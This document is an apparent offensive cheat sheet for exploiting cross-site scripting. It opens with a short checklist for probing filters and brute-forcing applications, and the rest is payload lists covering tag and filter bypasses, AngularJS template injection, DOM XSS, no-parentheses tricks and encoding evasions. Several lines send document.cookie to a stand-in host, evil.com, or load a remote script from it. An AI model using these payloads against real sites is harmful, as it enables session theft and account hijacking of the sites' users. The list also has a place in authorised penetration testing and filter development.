XSS

One thing you should understand when exploiting XSS is the behavior of the application towards specific payloads. The followings can be considered a checklist before exploiting XSS vulnerability:

Find the blacklisted/filtered characters. You can use XSS locators for this:

'';! - "<XSS>=&{()}

Observe what tags are blocked by WAF and which keywords are allowed (iframe, img, body etc.)
Try Character Encoding (URL encoding, Double URL encoding, UTF-8 Unicode encoding, Long UTF-8 Unicode encoding, Hex encoding etc.)
Try XSS using HTML quote encapsulation
Try URL string evasion
Create the payload list according to the allowed keywords
Brute-force the application with the XSS payload list you just created

Payloads

XSS Locators:
'';!--"<XSS>=&{()}

Classic Payloads:
<svg onload=alert(1)>
"><svg onload=alert(1)>
<iframe src="javascript:alert(1)">
"><script src=data:&comma;alert(1)//

script tag filter bypass:
<svg/onload=alert(1)>
<script>alert(1)</script>
<script     >alert(1)</script>
<ScRipT>alert(1)</sCriPt>
<%00script>alert(1)</script>
<script>al%00ert(1)</script>

HTML tags:
<img/src=x a='' onerror=alert(1)>
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<img src=`x`onerror=alert(1)>
<img src='/' onerror='alert("kalisa")'>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<SCRIPT SRC=http:/evil.com/xss.js?< B >
"><XSS<test accesskey=x onclick=alert(1)//test
<svg><discard onbegin=alert(1)>
<script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script>
<script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script>

Other tags:
<BASE HREF="javascript:alert('XSS');//">
<DIV STYLE="width: expression(alert('XSS'));">
<TABLE BACKGROUND="javascript:alert('XSS')">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss onclick="alert(1)">test</xss>
<xss onmousedown="alert(1)">test</xss>
<body onresize=alert(1)>”onload=this.style.width=‘100px’>
<xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script>

CharCode:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

if the input is already in script tag:
@domain.com">user+'-alert`1`-'@domain.com

AngularJS: 
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{{}.")));alert(1)//"}}
{{{}.")));alert(1)//"}}
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)

Scriptless:
<link rel=icon href="//evil?
<iframe src="//evil?
<iframe src="//evil?
<input type=hidden type=image src="//evil?

Unclosed Tags:
<svg onload=alert(1)//

DOM XSS:
“><svg onload=alert(1)>
<img src=1 onerror=alert(1)>
javascript:alert(document.cookie)
\“-alert(1)}//
<><img src=1 onerror=alert(1)>

Another case:
param=abc`;return+false});});alert`xss`;</script>
abc`; Finish the string
return+false}); Finish the jQuery click function
}); Finish the jQuery ready function
alert`xss`; Here we can execute our code
</script> This closes the script tag to prevent JavaScript parsing errors

Restrictions Bypas

No parentheses:
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>

No parentheses and no semicolons:
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

No parentheses and no spaces:
<script>Function`X${document.location.hash.substr`1`}```</script>

Angle brackets HTML encoded (in an attribute):
“onmouseover=“alert(1)
‘-alert(1)-’

If quote is escaped:
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//

Embedded tab, newline, carriage return to break up XSS:
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

Other:
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)

Encoding

Unicode:
<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>
